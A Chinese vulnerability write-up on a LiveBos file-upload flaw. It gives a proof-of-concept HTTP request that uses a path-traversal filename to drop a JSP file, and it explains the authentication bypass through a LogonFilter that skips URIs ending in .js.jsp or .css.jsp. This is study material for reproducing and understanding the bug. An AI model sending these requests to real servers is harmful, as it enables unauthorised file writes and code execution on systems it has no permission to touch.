[漏洞分析]LiveBos文件上传漏洞复现及绕过分析

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

前言

最近看到了LiveBos的文件上传,发现他的绕过是;.js.jsp看样子像是利用某种解析差异的特性来绕过。但看完代码后发现是有点搞笑的,于是做个记录。

漏洞复现

利用poc如下:

POST /feed/UploadFile.do;.js.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: */*
Content-Type: multipart/form-data; boundary=---------------------------45250802924973458471174811279
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 10338

-----------------------------45250802924973458471174811279
Content-Disposition: form-data; name="file"; filename="//../../../../1.jsp"
Content-Type: image/png

123
-----------------------------45250802924973458471174811279

上传后访问/1.jsp;.js.jsp

绕过分析

这里对于文件上传漏洞具体的逻辑就不进行分析了,代码种同样还存在其他上传的接口。这里主要看下/feed/UploadFile.do;.js.jsp这个权限绕过是咋回事,因为直接访问/feed/UploadFile.do是会提示 "未登录或会话已过期"的。

;.js.jsp这个权限绕过的方式就很眼熟,最开始还以为又是利用解析的差异性来进行绕过的,但是测试发现/feed/UploadFile.do;.js,/feed/UploadFile.do;.js.png这种均无法进行绕过。

查看源代码,寻找原因,在web.xml中看到2个关于.do文件的filter,LogonFilter和Compression Filter。

Compression Filter中没有啥关于传入的url解析判断的逻辑。

LogonFilter中先从会话中获取登录用户的信息,并进行校验,因为我们没有进行登录,所以不会进入这个if分支。

在下一个if分支中,判断isIgnoreUri方法返回的值为true,为true则直接传递给下一个过滤器,否则抛出异常。

在isIgnoreUri方法中,逻辑就很简单,在传入的uri等于/css/stylesheet.jsp,或者传入的uri以.js.jsp和.css.jsp结尾的时候,就会返回true。

这里就大概明白/feed/UploadFile.do;.js.jsp为什么能进行权限绕过了。。

通过上述代码分析,不难发现,/feed/UploadFile.do;.css.jsp也是能进行权限绕过的。

  • 6
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值